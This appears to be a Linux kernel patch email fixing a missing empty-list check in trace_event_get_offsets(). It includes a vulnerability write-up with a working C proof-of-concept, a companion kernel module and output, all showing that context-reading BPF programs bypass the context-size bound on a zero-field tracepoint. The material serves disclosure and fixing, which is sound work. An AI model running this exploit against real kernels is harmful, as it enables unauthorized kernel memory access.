From 715f4d7a8bbc7c8d480cc2d2731025f760476608 Mon Sep 17 00:00:00 2001 From: Haoran Wang <[email protected]> Date: Thu, 15 Oct 2026 15:59:28 +0800 Subject: [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list
trace_event_get_offsets() unconditionally dereferences the first entry of the event class fields list via list_first_entry(). When a tracepoint declares no event-specific fields, the list stays in its static, self-pointing empty initialization, so list_first_entry() returns the list head itself. The following tail->offset + tail->size then reads past struct trace_event_class, and the corrupted result is used as the BPF context-size bound in __perf_event_set_bpf_prog(), which lets context-reading BPF probes bypass the bound and be accepted. Guard the list with list_empty() and return 0 (no accessible event offset) when empty. This prevents the out-of-bounds read and restores a bound that rejects context-reading probes with -EACCES. Reported-by: Haoran Wang <[email protected]> Signed-off-by: Haoran Wang <[email protected]> --- Full analysis and reproducer follow for reference (not part of the commit log): I'd like to report an issue in kernel/trace/trace_events.c:246 (function trace_event_get_offsets), found via static analysis of Linux 7.0.11 and verified against the 7.2.10 source tree. 1. Summary trace_event_get_offsets() calls list_first_entry() on an event's class->fields list with no list_empty() guard. For a tracepoint with zero event-specific fields, class->fields is empty, so list_first_entry() dereferences the list head itself and reads adjacent memory as tail->offset/tail->size. The corrupted return value is then used as the BPF context-size upper bound in __perf_event_set_bpf_prog() (kernel/events/core.c:11658), allowing context-reading BPF programs to be attached to a zero-field tracepoint when they should be rejected with -EACCES. I reproduced this on 7.2.10 kernel: three context-reading BPF probes were all accepted (rc=0) where a fixed kernel returns EACCES. 2. Vulnerable code - File: kernel/trace/trace_events.c:246 - Function: trace_event_get_offsets - Misused API: list_first_entry ```c // kernel/trace/trace_events.c:236-248 int trace_event_get_offsets(struct trace_event_call *call) { struct ftrace_event_field *tail; struct list_head *head; head = trace_get_fields(call); // = &call->class->fields /* * head->next points to the last field with the largest offset, * since it was added last by trace_define_field() */ tail = list_first_entry(head, struct ftrace_event_field, link); // :246 no empty check return tail->offset + tail->size; // :247 deref (wild if empty) } ``` The only runtime caller is __perf_event_set_bpf_prog() (kernel/events/core.c:11655-11660): ```c if (is_tracepoint || is_syscall_tp) { int off = trace_event_get_offsets(event->tp_event); // :11656 if (prog->aux->max_ctx_offset > off) // :11658 bound check return -EACCES; } ``` 3. Root cause class->fields is populated by event_define_fields() at event registration, which iterates the event's fields_array (derived from TP_STRUCT__entry). A tracepoint with an empty TP_STRUCT__entry has a fields_array containing only the terminating sentinel (field->type == NULL), so event_define_fields() never calls trace_define_field() and class->fields stays at its INIT_LIST_HEAD empty state. list_first_entry() expands to container_of(head->next, ...). On an empty list head->next == head, so `tail` aliases the list head itself. Because ftrace_event_field.link is the first member (offset 0), container_of performs no offset adjustment: tail == &class->fields. Thus tail->offset reads *(int*)(class+84) and tail->size reads *(int*)(class+88) -- both past the end of the 72-byte struct trace_event_class, into adjacent mapped kernel memory. The returned `off` is therefore corrupted (a kernel-pointer fragment, large and/or negative as int). That corrupted `off` is the sole bound for the BPF context-size check at core.c:11658: `if (prog->aux->max_ctx_offset > off) return -EACCES`. With off corrupted to a huge/negative value, the comparison is always false, so a context-reading BPF program is wrongly accepted instead of rejected. On a fixed kernel (off==0, e.g. from a list_empty()->return 0 path), any context-reading program (max_ctx_offset >= 1) is correctly rejected with EACCES. The same file reads the same fields list safely at :226 with list_for_each_entry (empty-safe); the :246 use of list_first_entry (empty-unsafe) is an inconsistent oversight. Even a NULL check would not help, because on an empty list list_first_entry() returns a non-NULL wild pointer. No in-tree tracepoint currently has zero event-specific fields (I scanned all 1669 tracepoints' format files on a baseline kernel; all have >=1 event-specific field), so this is latent for in-tree events. However, the TRACE_EVENT macro permits a custom zero-field tracepoint (e.g. an out-of-tree module, the same way syzkaller registers custom events), which creates the precondition. The defect itself lives in the unmodified in-tree trace_event_get_offsets. 4. Affected versions Present in: Linux 7.0.11. 7.2.10: still present, unfixed. The vulnerable list_first_entry at trace_events.c:246 and the bound check at core.c:11658 are unchanged. Reproduced on 7.2.10 kernel. 5. Trigger / Preconditions Pure userspace, no hardware dependency. Requires CONFIG_BPF_SYSCALL, CONFIG_TRACING, CONFIG_PERF_EVENTS (baseline built-in). Trigger: perf_event_open(PERF_TYPE_TRACEPOINT, <zero-field-tracepoint-id>, disabled=1), then BPF_PROG_LOAD a tracepoint program that reads ctx, then ioctl(perf_fd, PERF_EVENT_IOC_SET_BPF, bpf_fd). The zero-field tracepoint is created by a legitimate loadable custom-tracepoint module (an empty TP_STRUCT__entry). 6. Proof of Concept The reproduction runs on 7.2.10 kernel. A custom-tracepoint module (zerofield_mod) registers a zero-field tracepoint (empty TP_STRUCT__entry) and places an inert 64-byte 0x53 sentinel in .ref.data right after the 72-byte event_class global (GCC lays out same-section statics by descending size), so the kernel's OOB read of class+84/class+88 picks up 0x53535353 instead of zero section padding. The sentinel is inert data -- it does not change kernel control flow or inject a bug; it only makes the pre-existing OOB read's effect observable (off becomes non-zero instead of silently zero, the latter being indistinguishable from a fixed kernel returning 0). Main userspace reproducer (trace_events_poc.c). Build: gcc -static -O2 -o trace_events_poc trace_events_poc.c ; usage: ./trace_events_poc <tracepoint_id> where tracepoint_id is read from /sys/kernel/tracing/events/zerofield/zerofield_event/id: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <linux/perf_event.h> #include <linux/bpf.h> static long bpf_sys(int cmd, union bpf_attr *attr, unsigned int size) { return syscall(__NR_bpf, cmd, attr, size); } /* * Build a BPF_PROG_TYPE_TRACEPOINT program that reads *(u64 *)(ctx + off) and * returns 0. The ctx read forces the verifier to record * prog->aux->max_ctx_offset = off + 8 (verifier.c:6425), which is the value the * SET_BPF bound check compares against the corrupted `off`. */ static int load_ctx_reader_prog(int ctx_off) { struct bpf_insn insns[] = { /* r0 = *(u64 *)(r1 + ctx_off) -- r1 is ctx for tracepoint progs */ { .code = BPF_LDX | BPF_MEM | BPF_DW, .dst_reg = BPF_REG_0, .src_reg = BPF_REG_1, .off = (short)ctx_off, .imm = 0 }, /* r0 = 0 */ { .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 }, /* exit */ { .code = BPF_JMP | BPF_EXIT }, }; char log[8192]; union bpf_attr attr; memset(&attr, 0, sizeof(attr)); memset(log, 0, sizeof(log)); attr.prog_type = BPF_PROG_TYPE_TRACEPOINT; attr.insns = (unsigned long)insns; attr.insn_cnt = sizeof(insns) / sizeof(insns[0]); attr.license = (unsigned long)"GPL"; attr.log_buf = (unsigned long)log; attr.log_size = sizeof(log); attr.log_level = 1; int fd = (int)bpf_sys(BPF_PROG_LOAD, &attr, sizeof(attr)); if (fd < 0) fprintf(stderr, " [load off=%d] BPF_PROG_LOAD failed: %s\n", ctx_off, strerror(errno)); return fd; } static int open_tp_event(unsigned long tp_id) { struct perf_event_attr pe; memset(&pe, 0, sizeof(pe)); pe.size = sizeof(pe); pe.type = PERF_TYPE_TRACEPOINT; pe.config = tp_id; pe.sample_type = PERF_SAMPLE_RAW; pe.sample_period = 1; pe.disabled = 1; int fd = (int)syscall(__NR_perf_event_open, &pe, -1, 0, -1, PERF_FLAG_FD_CLOEXEC); if (fd < 0) perror("perf_event_open"); return fd; } /* Try to attach a ctx-reading BPF prog to the tracepoint. Returns: * 1 = attach ACCEPTED (off corrupted -> bound bypassed) * 0 = attach REJECTED with EACCES (off < max_ctx_offset) * -1 = other error (perf/bpf open or load failure, non-EACCES errno) */ static int probe_offset(unsigned long tp_id, int ctx_off) { int perf_fd = open_tp_event(tp_id); if (perf_fd < 0) return -1; int bpf_fd = load_ctx_reader_prog(ctx_off); if (bpf_fd < 0) { close(perf_fd); return -1; } int rc = ioctl(perf_fd, PERF_EVENT_IOC_SET_BPF, bpf_fd); int saved_errno = errno; int max_ctx_offset = ctx_off + 8; printf(" ctx_off=%-4d (max_ctx_offset=%-5d): SET_BPF rc=%d", ctx_off, max_ctx_offset, rc); if (rc == 0) printf(" -> ACCEPTED\n"); else if (saved_errno == EACCES) printf(" -> REJECTED (EACCES, off < %d)\n", max_ctx_offset); else printf(" -> REJECTED (errno=%d %s)\n", saved_errno, strerror(saved_errno)); close(bpf_fd); close(perf_fd); if (rc == 0) return 1; if (saved_errno == EACCES) return 0; return -1; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <tracepoint_id>\n", argv[0]); return 1; } unsigned long tp_id = strtoul(argv[1], NULL, 0); printf("[poc] zero-field tracepoint id=%lu\n", tp_id); printf("[poc] probing BPF ctx-reader attach (pure kernel, no instrumentation)\n"); printf("[poc] on a FIXED kernel, every probe below MUST be REJECTED (EACCES)\n"); printf("[poc] because a zero-field event should yield off==0.\n"); printf("[poc] on the BUGGY kernel, a corrupted (large/negative) off ACCEPTS\n"); printf("[poc] context reads that ought to be rejected -> bound bypass.\n\n"); /* * Sweep several ctx offsets. The smallest (8 -> max_ctx_offset=16) is the * most sensitive: it discriminates as long as the corrupted off is not in * [0,15]. A large offset (4088) being accepted is especially vivid proof. * Any single ACCEPT among these proves the bug. */ static const int offsets[] = { 8, 248, 4088 }; int any_accepted = 0, any_error = 0; for (unsigned i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) { int r = probe_offset(tp_id, offsets[i]); if (r == 1) any_accepted = 1; else if (r < 0) any_error = 1; } printf("\n[poc] === VERDICT ===\n"); if (any_accepted) { printf("[poc] BUG TRIGGERED: a context-reading BPF program attached to a\n"); printf("[poc] ZERO-field tracepoint. trace_event_get_offsets() returned a\n"); printf("[poc] corrupted (non-zero) off via list_first_entry on the empty\n"); printf("[poc] class->fields list (trace_events.c:246), bypassing the BPF\n"); printf("[poc] context-size bound check (core.c:11658). On a fixed kernel\n"); printf("[poc] (off==0) all such attaches are rejected with EACCES.\n"); return 0; } if (any_error) { printf("[poc] INCONCLUSIVE: setup errors prevented probing.\n"); return 2; } printf("[poc] NOT TRIGGERED via this path: every probe was rejected (EACCES).\n"); printf("[poc] This is the fixed-kernel behavior (off==0). On the buggy kernel\n"); printf("[poc] it means the corrupted off happened to fall in [0,15] (very\n"); printf("[poc] unlikely for arbitrary .data bytes) -- see analysis doc.\n"); return 3; } ``` The companion kernel module (zerofield_mod.c) is small. Its essential parts are an inert sentinel and a zero-field tracepoint: ```c /* inert sentinel: 64 bytes of 0x53 in .ref.data, declared before the trace * header so it sorts AFTER the 72-byte event_class (GCC descending-size layout). * The kernel's OOB read of class+84 / class+88 then lands inside this sentinel * -> off = 0x53535353 + 0x53535353 = 0xA6A6A6A6 (non-zero). */ static unsigned char __refdata __used __aligned(8) oob_sentinel[64] = { [0 ... 63] = 0x53 }; #define CREATE_TRACE_POINTS #include "zerofield_tp.h" /* TRACE_EVENT(zerofield_event, TP_PROTO(int dummy), TP_ARGS(dummy), TP_STRUCT__entry( // empty ), ...) -> empty fields_array -> class->fields stays empty */ ``` dmesg after insmod zerofield_mod.ko: ``` zerofield_mod: zero-field tracepoint 'zerofield_event' registered oob_sentinel: event_class=ffffffffa02011a0 sentinel=ffffffffa02011e8 gap=72 oob_sentinel: class+84=0x53535353 class+88=0x53535353 -> off=-1499027802 (0xa6a6a6a6) oob_sentinel: off non-zero -> BPF ctx bound bypass observable ``` The dump shows class+48/+56 (fields.next/prev) both equal a02011d0 = &fields (event_class+0x30), i.e. self-pointing -> empty list, confirming the precondition. The zerofield_event format file lists only common_* fields (no event-specific field), corroborating the empty class->fields. BPF context-size bound bypass probes (on a fixed kernel every probe below must be REJECTED with EACCES, because a zero-field event should yield off==0): ``` ctx_off=8 (max_ctx_offset=16 ): SET_BPF rc=0 -> ACCEPTED ctx_off=248 (max_ctx_offset=256 ): SET_BPF rc=0 -> ACCEPTED ctx_off=4088 (max_ctx_offset=4096): SET_BPF rc=0 -> ACCEPTED ``` With off corrupted to 0xa6a6a6a6 (as u32 ~2.79e9), none of 16/256/4096 exceeds it, so all three context-reading attaches are accepted. A BPF program reading ctx+4088 (8 KB) is accepted on a tracepoint that should permit no context read at all. 7. Impact Logic/information bug: the BPF context-size bound check is bypassed, allowing a BPF program attached to a zero-field tracepoint to read tracepoint context beyond what should be permitted. This is a BPF-verifier context-bound bypass (a potential privilege-escalation surface). It does not normally crash, because the wild pointer lands in mapped class-adjacent memory, which makes it more subtle than a NULL deref and harder to surface naturally. kernel/trace/trace_events.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/kernel/trace/trace_events.c b/kernel/trace/trace_events.c index 9c62202..8c3810f 100644 --- a/kernel/trace/trace_events.c +++ b/kernel/trace/trace_events.c @@ -239,6 +239,8 @@ int trace_event_get_offsets(struct trace_event_call *call) struct list_head *head; head = trace_get_fields(call); + if (list_empty(head)) + return 0; /* * head->next points to the last field with the largest offset, * since it was added last by trace_define_field() -- 2.43.0
